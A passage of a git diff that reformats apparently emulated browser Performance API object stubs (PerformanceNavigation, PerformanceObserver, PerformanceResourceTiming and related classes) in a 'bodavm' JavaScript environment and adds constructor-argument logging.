true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", { + configurable: false, + enumerable: true, + writable: false, + value: 255 +}); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "redirectCount", { + configurable: true, + enumerable: true, + get: function redirectCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "redirectCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", { + configurable: false, + enumerable: true, + writable: false, + value: 255 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceNavigationTiming.js b/env_xbb_lastest_jsdom/env/PerformanceNavigationTiming.js index f8ba0e5f..fedc507f 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceNavigationTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformanceNavigationTiming.js @@ -1,17 +1,115 @@ -// PerformanceNavigationTiming对象 -bodavm.memory.globalobj['PerformanceNavigationTiming'] = function PerformanceNavigationTiming(){if (!(this instanceof PerformanceNavigationTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigationTiming'], "PerformanceNavigationTiming"); -bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceResourceTiming'].prototype; -bodavm.memory.globalobj['PerformanceNavigationTiming'].__proto__=bodavm.memory.globalobj['PerformanceResourceTiming']; -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventStart", {configurable:true, enumerable:true, get:function unloadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventEnd", {configurable:true, enumerable:true, get:function unloadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domInteractive", {configurable:true, enumerable:true, get:function domInteractive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domInteractive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventStart", {configurable:true, enumerable:true, get:function domContentLoadedEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventEnd", {configurable:true, enumerable:true, get:function domContentLoadedEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domComplete", {configurable:true, enumerable:true, get:function domComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domComplete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventStart", {configurable:true, enumerable:true, get:function loadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventEnd", {configurable:true, enumerable:true, get:function loadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "redirectCount", {configurable:true, enumerable:true, get:function redirectCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "redirectCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "activationStart", {configurable:true, enumerable:true, get:function activationStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "activationStart_get", arguments)}, set:undefined},'prototype'); +// PerformanceNavigationTiming对象 + +bodavm.memory.globalobj['PerformanceNavigationTiming'] = function PerformanceNavigationTiming() { + console.log_copy('PerformanceNavigationTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceNavigationTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigationTiming'], "PerformanceNavigationTiming"); +bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceResourceTiming'].prototype; +bodavm.memory.globalobj['PerformanceNavigationTiming'].__proto__ = bodavm.memory.globalobj['PerformanceResourceTiming']; +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventStart", { + configurable: true, + enumerable: true, + get: function unloadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventEnd", { + configurable: true, + enumerable: true, + get: function unloadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domInteractive", { + configurable: true, + enumerable: true, + get: function domInteractive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domInteractive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventStart", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventEnd", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domComplete", { + configurable: true, + enumerable: true, + get: function domComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domComplete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventStart", { + configurable: true, + enumerable: true, + get: function loadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventEnd", { + configurable: true, + enumerable: true, + get: function loadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "redirectCount", { + configurable: true, + enumerable: true, + get: function redirectCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "redirectCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "activationStart", { + configurable: true, + enumerable: true, + get: function activationStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "activationStart_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceObserver.js b/env_xbb_lastest_jsdom/env/PerformanceObserver.js index 8a050f73..87283430 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceObserver.js +++ b/env_xbb_lastest_jsdom/env/PerformanceObserver.js @@ -1,7 +1,49 @@ -// PerformanceObserver对象 -bodavm.memory.globalobj['PerformanceObserver'] = function PerformanceObserver(){if (!(this instanceof PerformanceObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserver'], "PerformanceObserver"); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "supportedEntryTypes", {configurable:true, enumerable:true, get:function supportedEntryTypes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].undefined, "PerformanceObserver", "supportedEntryTypes_get", arguments)}, set:undefined}); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "takeRecords", arguments)}},'prototype'); +// PerformanceObserver对象 + +bodavm.memory.globalobj['PerformanceObserver'] = function PerformanceObserver() { + console.log_copy('PerformanceObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserver'], "PerformanceObserver"); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "supportedEntryTypes", { + configurable: true, + enumerable: true, + get: function supportedEntryTypes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].undefined, "PerformanceObserver", "supportedEntryTypes_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "takeRecords", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceObserverEntryList.js b/env_xbb_lastest_jsdom/env/PerformanceObserverEntryList.js index 271ad171..556538a2 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceObserverEntryList.js +++ b/env_xbb_lastest_jsdom/env/PerformanceObserverEntryList.js @@ -1,6 +1,41 @@ -// PerformanceObserverEntryList对象 -bodavm.memory.globalobj['PerformanceObserverEntryList'] = function PerformanceObserverEntryList(){if (!(this instanceof PerformanceObserverEntryList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserverEntryList'], "PerformanceObserverEntryList"); -bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntries", {configurable:true, enumerable:true, writable:true, value:function getEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByName", {configurable:true, enumerable:true, writable:true, value:function getEntriesByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByType", {configurable:true, enumerable:true, writable:true, value:function getEntriesByType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByType", arguments)}},'prototype'); +// PerformanceObserverEntryList对象 + +bodavm.memory.globalobj['PerformanceObserverEntryList'] = function PerformanceObserverEntryList() { + console.log_copy('PerformanceObserverEntryList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceObserverEntryList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserverEntryList'], "PerformanceObserverEntryList"); +bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntries", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByName", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByType", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByType", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformancePaintTiming.js b/env_xbb_lastest_jsdom/env/PerformancePaintTiming.js index 6bdd15e2..6418d76b 100644 --- a/env_xbb_lastest_jsdom/env/PerformancePaintTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformancePaintTiming.js @@ -1,5 +1,19 @@ -// PerformancePaintTiming对象 -bodavm.memory.globalobj['PerformancePaintTiming'] = function PerformancePaintTiming(){if (!(this instanceof PerformancePaintTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformancePaintTiming'], "PerformancePaintTiming"); -bodavm.memory.globalobj['PerformancePaintTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformancePaintTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; +// PerformancePaintTiming对象 + +bodavm.memory.globalobj['PerformancePaintTiming'] = function PerformancePaintTiming() { + console.log_copy('PerformancePaintTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformancePaintTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformancePaintTiming'], "PerformancePaintTiming"); +bodavm.memory.globalobj['PerformancePaintTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformancePaintTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceResourceTiming.js b/env_xbb_lastest_jsdom/env/PerformanceResourceTiming.js index 1135ef1f..95ec11a4 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceResourceTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformanceResourceTiming.js @@ -1,26 +1,187 @@ -// PerformanceResourceTiming对象 -bodavm.memory.globalobj['PerformanceResourceTiming'] = function PerformanceResourceTiming(){if (!(this instanceof PerformanceResourceTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceResourceTiming'], "PerformanceResourceTiming"); -bodavm.memory.globalobj['PerformanceResourceTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceResourceTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "initiatorType", {configurable:true, enumerable:true, get:function initiatorType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "initiatorType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "nextHopProtocol", {configurable:true, enumerable:true, get:function nextHopProtocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "nextHopProtocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "workerStart", {configurable:true, enumerable:true, get:function workerStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "workerStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectStart", {configurable:true, enumerable:true, get:function redirectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectEnd", {configurable:true, enumerable:true, get:function redirectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "fetchStart", {configurable:true, enumerable:true, get:function fetchStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "fetchStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupStart", {configurable:true, enumerable:true, get:function domainLookupStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupEnd", {configurable:true, enumerable:true, get:function domainLookupEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectStart", {configurable:true, enumerable:true, get:function connectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectEnd", {configurable:true, enumerable:true, get:function connectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "secureConnectionStart", {configurable:true, enumerable:true, get:function secureConnectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "secureConnectionStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "requestStart", {configurable:true, enumerable:true, get:function requestStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "requestStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStart", {configurable:true, enumerable:true, get:function responseStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseEnd", {configurable:true, enumerable:true, get:function responseEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "transferSize", {configurable:true, enumerable:true, get:function transferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "transferSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "encodedBodySize", {configurable:true, enumerable:true, get:function encodedBodySize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "encodedBodySize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "decodedBodySize", {configurable:true, enumerable:true, get:function decodedBodySize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "decodedBodySize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "serverTiming", {configurable:true, enumerable:true, get:function serverTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "serverTiming_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "renderBlockingStatus", {configurable:true, enumerable:true, get:function renderBlockingStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "renderBlockingStatus_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStatus", {configurable:true, enumerable:true, get:function responseStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStatus_get", arguments)}, set:undefined},'prototype'); +// PerformanceResourceTiming对象 + +bodavm.memory.globalobj['PerformanceResourceTiming'] = function PerformanceResourceTiming() { + console.log_copy('PerformanceResourceTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceResourceTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceResourceTiming'], "PerformanceResourceTiming"); +bodavm.memory.globalobj['PerformanceResourceTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceResourceTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "initiatorType", { + configurable: true, + enumerable: true, + get: function initiatorType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "initiatorType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "nextHopProtocol", { + configurable: true, + enumerable: true, + get: function nextHopProtocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "nextHopProtocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "workerStart", { + configurable: true, + enumerable: true, + get: function workerStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "workerStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectStart", { + configurable: true, + enumerable: true, + get: function redirectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectEnd", { + configurable: true, + enumerable: true, + get: function redirectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); 